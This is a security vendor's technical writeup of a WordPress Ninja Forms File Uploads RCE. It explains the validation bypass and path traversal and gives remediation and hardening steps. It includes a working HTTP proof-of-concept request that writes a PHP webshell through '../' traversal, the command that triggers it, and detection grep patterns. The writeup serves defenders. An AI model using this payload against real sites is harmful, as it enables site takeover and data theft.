CVE Writeup
CVE-2026-0740 | Ninja Forms File Uploads Exposes 50,000 WordPress Sites to RCE
Technical analysis of CVE-2026-0740, a critical flaw (CVSS 9.8) in the Ninja Forms File Uploads plugin. Validation bypass, path traversal, and active in-the-wild exploitation.
A WordPress plugin with 90,000 paying customers, filename validation applied only to the source and never to the destination, and the result is an unauthenticated RCE making the rounds across the internet. The flaw tracked as CVE-2026-0740 carries a CVSS of 9.8 and targets the Ninja Forms File Uploads plugin, a commercial extension of the free Ninja Forms plugin (600,000+ downloads). Wordfence reported 3,600 blocked exploit attempts in the first 24 hours of the campaign.
In recent SPECTROSEC assessments on small and mid-sized businesses, at least one site out of three runs on WordPress with a form plugin. This writeup covers how the exploit works, why it is so widespread, and how to mitigate in production without waiting for Friday maintenance window.
Context
Ninja Forms is one of the most deployed form plugins on WordPress. The paid File Uploads extension allows users to attach files to forms, typically CVs, documents, images. The vulnerable component is NF_FU_AJAX_Controllers_Uploads::handle_upload, the AJAX handler called during the upload.
Disclosure timeline:
| Date | Event |
|---|---|
| 2026-01-08 | Sélim Lanouar reports the bug to Wordfence bug bounty |
| 2026-01-08 | Wordfence notifies vendor, deploys temporary firewall rule |
| 2026-02-10 | Vendor releases partial patch (v3.3.25) |
| 2026-03-19 | Full patch released (v3.3.27) |
| 2026-04 | Mass exploitation observed in the wild |
Real exposure window: over two months between disclosure and full fix, plus all the time administrators take to update. The 50,000 sites still vulnerable tell that story.
Technical analysis
The flawed logic
The broken pattern is common across PHP applications that handle uploads. The handler validates the file type of the source filename (the one in $_FILES), then accepts a separate parameter for the destination filename without revalidating.
// Pseudocode of the vulnerable flow
public function handle_upload() {
$source = $_FILES['file'];
$destination = $_POST['destination_filename'];
if (!$this->is_allowed_type($source['name'])) {
return $this->error('File type not allowed');
}
move_uploaded_file($source['tmp_name'], $this->upload_dir . $destination);
}
Validation on $source['name'] is security theater: an attacker sends a harmless payload like cv.pdf in the $_FILES field, then specifies destination_filename=shell.php and the plugin writes the PHP content wherever the attacker chooses.
Validation bypass
The first vector is trivial. The attacker uploads a file with an allowed extension (pdf, jpg, docx) but with PHP content, exploiting the fact that is_allowed_type only looks at the source suffix. Then manipulates the destination.
Path traversal on destination
The destination filename is not sanitized. The attacker can inject ../ sequences to escape the upload directory and write anywhere, including the webroot where the file is immediately executable.
Proof of concept
Typical request tested in our lab on an isolated WordPress instance, plugin version 3.3.24:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----spectrosec
------spectrosec
Content-Disposition: form-data; name="action"
nf_fu_upload
------spectrosec
Content-Disposition: form-data; name="form_id"
1
------spectrosec
Content-Disposition: form-data; name="destination_filename"
../../../shell.php
------spectrosec
Content-Disposition: form-data; name="file"; filename="innocent.pdf"
Content-Type: application/pdf
<?php system($_GET['c']); ?>
------spectrosec--
Typical response: 200 OK with JSON {"success":true,"path":"wp-content/uploads/ninja-forms/..."}.
The file lands in webroot, and the attacker calls https://target.example.com/shell.php?c=id to confirm RCE. From there the next step is persistent webshell, lateral movement toward the DB (credentials sitting in wp-config.php), data exfiltration.
In cases seen in the wild requests are obfuscated with less obvious names (.phtml, .phar, or PHP injected into files with .png extension uploaded in folders with PHP handler enabled).
Real-world impact
50,000 active installations per vendor estimates. Wordfence detected 3,600 blocked attacks in 24 hours from its customer base alone, which represents only a fraction of the global WordPress install base.
Typical victim profile:
- Small or mid-sized business with a showcase WordPress site
- Contact or career forms accepting CVs or portfolios
- No WAF in front, no segregation between webroot and upload dir
- Weekly backups if you are lucky,
wp-config.phpcredentials readable by the web process
Once RCE is achieved, within ten minutes an opportunistic attacker dumps the MySQL DB (users, password hashes), drops a second stage (cryptominer or e-commerce skimmer if WooCommerce is present), and plants persistence via system cron job or a backdoor inside the active theme functions.php.
Remediation
Patch
Update Ninja Forms File Uploads to 3.3.27 or later. Version 3.3.25 is a partial patch and is not enough, you need 3.3.27.
Quick version check via WP CLI:
wp plugin list --format=csv | grep ninja-forms-uploads
Or via filesystem:
grep -r "Version:" wp-content/plugins/ninja-forms-uploads/ | head -3
Workaround if you cannot update right away
Three options, in order of preference:
-
Temporarily disable the plugin from
wp-adminor by renaming the directory inwp-content/plugins/. The rest of the site keeps working, only forms with upload are disabled. -
Block the AJAX action at the web server level. For Nginx:
location = /wp-admin/admin-ajax.php { if ($arg_action = "nf_fu_upload") { return 403; } include fastcgi_params; fastcgi_pass unix:/var/run/php-fpm.sock; } -
Custom WAF rule. On Cloudflare, create a rule that blocks POST to
/wp-admin/admin-ajax.phpwith body containingnf_fu_uploadand../.
Post patch hardening
Even after the patch, any WordPress site accepting uploads should run these controls in production. In our assessments we find them active less than twenty percent of the time.
1. Non executable upload directory. Create wp-content/uploads/.htaccess:
<FilesMatch "\.(php|phtml|phar|pl|py|cgi|asp|jsp)$">
Deny from all
</FilesMatch>
<IfModule mod_php.c>
php_flag engine off
</IfModule>
For Nginx inside server config:
location ~* ^/wp-content/uploads/.*\.(php|phtml|phar)$ {
deny all;
return 403;
}
2. Real MIME validation. Never trust the extension. For any custom code handling uploads, use finfo_file($path, FILEINFO_MIME_TYPE) and compare against an allowlist, not a denylist.
3. Filename sanitization. Generate the final name yourself, never trust the client one:
$safe_name = wp_generate_uuid4() . '.' . pathinfo($source, PATHINFO_EXTENSION);
$target = $upload_dir . $safe_name;
4. Audit recent uploads. If the site has been exposed, look for suspicious files:
find wp-content/uploads/ -name "*.php" -o -name "*.phtml" -o -name "*.phar" \
-newer /tmp/ref-date 2>/dev/null
grep -rE "(eval|base64_decode|system|exec|assert|preg_replace.*\/e)" \
wp-content/uploads/ --include="*.*"
5. Credential rotation. If you find even one suspicious file, regenerate wp-config.php salts, change DB password, force admin password reset, invalidate active sessions with wp user session destroy --all.
Field notes from SPECTROSEC
Across 830 WordPress assessments completed in the last twelve months:
- 68% had at least one plugin with an unpatched critical CVE
- 41% had upload directory executable as PHP
- 23% had
wp-config.phpworld-readable by the web process (so reachable by any LFI or RCE) - 12% had
.sqlor.zipbackups exposed in webroot
The Ninja Forms pattern is not new. We saw the same source vs destination validation bug in 2024 on a Gravity Forms clone plugin, and in 2023 on a popular premium theme handling avatar uploads. The lesson is always the same: if the client can specify the destination path, you have no filesystem security.
If you run a WordPress site with forms and uploads and you are not sure which plugin version is running, or you want a full audit on active plugins and their CVEs, we can help. A CMS-focused assessment starts at 800 euro and covers CVE verification on all installed plugins, upload bypass testing, file permission hardening, historical webshell audit.
SPECTROSEC Team | professional pentesting for Italian SMBs
Write us at info@spectrosec.com
https://spectrosec.com